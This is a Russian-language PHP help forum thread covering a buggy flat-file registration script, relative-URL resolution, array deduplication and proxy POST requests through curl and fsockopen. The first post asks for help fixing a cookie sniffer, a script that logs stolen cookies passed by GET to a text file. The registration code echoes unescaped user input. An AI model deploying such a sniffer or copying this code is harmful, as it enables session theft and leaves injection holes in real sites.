не могу решить ,возникла проблема плиз где здесь ошибка Warning: fopen(cookies.txt) [function.fopen]: failed to open stream: Permission denied in on line 1 Warning: fputs(): supplied argument is not a valid stream resource in on line 2 Warning: fclose(): supplied argument is not a valid stream resource in on line 3 сам скрипт <? $file = fopen("cookies.txt","a"); fputs($file,"[".date("d.m.y H:i")."]: host=".$_GET["host"].", COOKIES=”.$_GET["cook"]."rn"); fclose($file); ?>
Помогите найти ошибку! Parse error: syntax error, unexpected T_STRING in Z:\home\centre.php on line 97 Код: PHP: If(Isset($_GET['category']) and (Isset($_GET['altname']))){ // $xfile = @file("categ/categ.dat"); for ($i=0;$i<count($xfile);$i++) { $bd = explode("|",$xfile[$i]); // If($_GET['altname']==$bd[1]){ $x = @file("categ/{$bd[1]}.dat"); $s=count($x); $x = array_reverse($x); for ($b=0;$b<$s;$b++) { $bd = explode("|",$x[$b]); echo "<table id=\"window\"> <tr> <td id=\"wtitle\" class=\"ntitle\"><span class=\"category\"><a href=\"$self?category=$bd[0]\">$bd[0]</a></span>*/*<a href=\"$self?category=$bd[0]&altname=$bd[1]\">$bd[1]</a></td> </tr><tr><td id=\"wconte\" class=\"news\"><p style=\"text-align: center\"><a href=\"$bd[2]\" class=\"highslide\"><img src=\"$bd[2]\" border=\"0\" alt=\"?\" /></a></p>$bd[3]</td> </tr> <tr><td id=\"wttle2\"><table width=\"100%\"> <tr> <td class=\"slink\"><a href=\"$self?category=$bd[0]&altname=$bd[1]\"><b>Подробнее</b></a></td> <td class=\"slink\" align=\"right\"> Просмотров: $bd[4] автор: <b><a href=\"$self?action=users&user=$bd[5]\" target=\"_blank\">$bd[5]</a></b> $bd[6] Комментарии ({$bd[7]})</td> </tr> </table></td></tr> </table>"; }//Вывод ВСЕГО О НОВОСТИ + КОМЕНТЫ }//Просмотр одной из НОВОСТЕЙ -- by name }//BD BY NAME NEED }//Просмотр одной из НОВОСТЕЙ }//Если нету ACTION If((Isset($_GET['action'])) and (!Isset($_GET['category'])) and (!Isset($_GET['altname']))){ If($_GET['action']=='registration'){ If(strlen($_POST['login']) >= '3' and strlen($_POST['password']) >= '3' strlen($_POST['password2']) >= '3' and strlen($_POST['email']) >= '3' and ($_POST['password']==$_POST['password2'])){ $nick = bdtext($_POST['login']); $pass = bdtext($_POST['password']); $pass2 = bdtext($_POST['password2']); if($pass !== $pass2){ echo "<img src=images/help16.gif> [ Ошибка ] Пароли не совпадают!"; exit; } $email = bdtext($_POST['email']); $acc = '1'; $basemember="users/suser.dat"; $general = @file($basemember); $lines = count($general); for ( $i = 0; $i < $lines; $i++ ){ $bb=explode('|', $general[$i]); if($_POST['login']==$bb[0]){ die("<img src=images/help16.gif> [ Ошибка ] Такой логин уже используется!");} if($_POST['login']!==$bb[0] and strlen($_POST['login']) >='3' and strlen($_POST['password']) >='3' and $_POST['email']!==$bb[2]){ $fp=fopen($basemember,"a"); fwrite($fp,"$user|$pass|$email|0|0|Новенький|$acc|\r\n"); fclose($fp); echo "<script language='Javascript'>function reload() {location = \"$self?event=log\"}; setTimeout('reload()', 1500);</script> <table width=100% height=80%><tr><td><table border=1 cellpadding=10 cellspacing=0 bordercolor=#224488 align=center valign=center width=60%><tr><td><center> Спасибо за регистрацию! <B>$_POST['login']</B>,Через несколько секунд Вы будете автоматически перемещены в зону авторизации.<BR><BR> </td></tr></table></td></tr></table></center></body></html>"; } //Успех в записи }//Лазаем в бд на проверку }//Проверка окончена echo $regform; }// Всё,что связано с регистрацией }//ЕСЛИ ПОЛУЧЕНО ACTION ?>
есть абсолют ссылка на стиль и относительн ссылка на картинку записаная в этом стиле. Из етого мне надо получить абсолютн ссылку на картинку. Написал какойто бред PHP: $a='http://123/css/nev/css.css'; $b='../../img/x/1.jpg'; //нужног получить http://123/img/x/1/jpg $aa =explode('/', $a); $bb =explode('/', $b); if($bb[0] == '.' ) { unset ($aa[count($aa)]); $res = str_replace('./',implode('/',$aa),$b); } if($bb[0] == '..' && $bb[1] == '..') { unset ($aa[count($aa)],$aa[count($aa)-1],$aa[count($aa)-2]); $res = str_replace('../../',implode('/',$aa),$b); } if($bb[0] == '..' ) { unset ($aa[count($aa)],$aa[count($aa)-1]); $res = str_replace('../',implode('/',$aa),$b); } это если на говногоде собсна как сделать по норм я незнаю
Нашёл ту ошибку: В длинной строке проверки по длине забыл один раз поставить and.. Другая нашлась: PHP: echo "<script language='Javascript'>function reload() {location = \"$self?event=log\"}; setTimeout('reload()', 1500);</script> <table width=100% height=80%><tr><td><table border=1 cellpadding=10 cellspacing=0 bordercolor=#224488 align=center valign=center width=60%><tr><td><center> Спасибо за регистрацию! <B>$_POST['login']</B>,Через несколько секунд Вы будете автоматически перемещены в зону авторизации.<BR><BR> </td></tr></table></td></tr></table></center></body></html>"; Тут типа ошибка Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING Конкретно жалуется на строку : PHP: <table width=100% height=80%><tr><td><table border=1 cellpadding=10 cellspacing=0 bordercolor=#224488 align=center valign=center width=60%><tr><td><center>
В сообщении же написано, что ошибка в 97 строке... Так зачем просить поверить такое количество кода, если можно проверить только одну строку... Но так как код не полный (не с начала), трудно понять какая из этих строк 97-я... Зачем людям жизь усложнять..?!
Если ты незнал,то обьясняю: Эта ошибка возникает: [ 1 ] Когда в коде в этой строке или до неё(неограниченно до нулевой) добущена ошибка типа нехватает ' или ; , в общем знака препинания в PHP [ 2 ] Когда я удаляю этот участок кода,то регистрация опять работает..
2 N2kroot PHP: //Измени эту строчку If(strlen($_POST['login']) >= '3' and strlen($_POST['password']) >= '3' strlen($_POST['password2']) >= '3' and strlen($_POST['email']) >= '3' and ($_POST['password']==$_POST['password2'])){ На PHP: If(strlen($_POST['login']) >= '3' and strlen($_POST['password']) >= '3' and strlen($_POST['password2']) >= '3' and strlen($_POST['email']) >= '3' and ($_POST['password']==$_POST['password2'])){
А разве числовые значения пишут в кавычках? Может быть так: PHP: If(strlen($_POST['login']) >= 3 and strlen($_POST['password']) >= 3 and strlen($_POST['password2']) >= 3 and strlen($_POST['email']) >= 3 and ($_POST['password']==$_POST['password2'])){
Разницы впринципе нет. $_POST['login'] - STRING, а не INTEGER. Да и вообще это его код, я лишь указал на ошибку.
Если внимательно присмотреться, то там не просто $_POST['login'], а strlen($_POST['login']). Конструкция функции int strlen ( string string ), т.е. числовое значение.
Скиньте кто-нибудь работающий пост запрос через СОКС, если у кого-то завалялся. Просто времени сейчас вообще нету разбираться с протоколом.
PHP: <?php $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "http://ya.ru"); curl_setopt($ch, CURLOPT_TIMEOUT, 60); curl_setopt($ch, CURLOPT_PROXY, "97.84.1.138:51411"); curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5); curl_setopt($ch, CURLOPT_RETURNTRANSFER, FALSE); $result = curl_exec($ch); echo $result; curl_close($ch); ?>
2 ntldr, Там довольно-таки сложно. Могу только направление показать: http://www.nulled.ws/showpost.php?p=434579&postcount=4
pali4, таблица - массив оформленный таким способом? PHP: $mos[0]['id']=1; $mos[0]['name']='vasya'; $mos[1]['id']=2; $mos[1]['name']='petya'; $mos[2]['id']=3; $mos[2]['name']='vasya'; если да, то вот так: PHP: foreach ($mos as $key => $value) $buf_mos[$value['name']]=''; $mos=Array(); foreach ($buf_mos as $key => $value) $mos[]=$key; print_r($mos);
ntldr, PHP: <?php $proxy = '114.142.141.35'; $port = '8080'; $timeout = 30; $url = 'http://wnezros.homeip.net/dump.php'; $domen = 'wnezros.homeip.net'; $post = 'name=value&name2=value2'; $data = "POST $url HTTP/1.0 Conection: Keep-Alive Host: $domen Content-Length: ".strlen($post)." Content-Type: application/x-www-form-urlencoded $post"; $sock = fsockopen($proxy, $port, $errno, $errstr, $timeout); if($errno != 0) exit($errno.': '.$errstr.'<br>'); fputs($sock, $data); $r = ''; while(!feof($sock)) { $r .= fgets($sock); } fclose($sock); echo $r; ?>
вариант без прокси и без keep-alive: PHP: $addr='/index.php'; $host='antichat.ru';//^^ $post='name='.urlencode('имя, например'). '&message='.urlencode('сообщение, или что там надо..'); $ss=''; if (false!=($f=fsockopen('IP или домен', 80, $errno, $errstr, 30))){ fputs ($f, "POST $addr HTTP/1.1\r\nContent-Type: ". "application/x-www-form-urlencoded\r\nContent-Length: ". strlen($post)."Host: $host\r\nConnection: close\r\n\r\n".$post); while (!feof($f)) { $ss.=fgets($f, 128); } fclose($f); } echo($ss);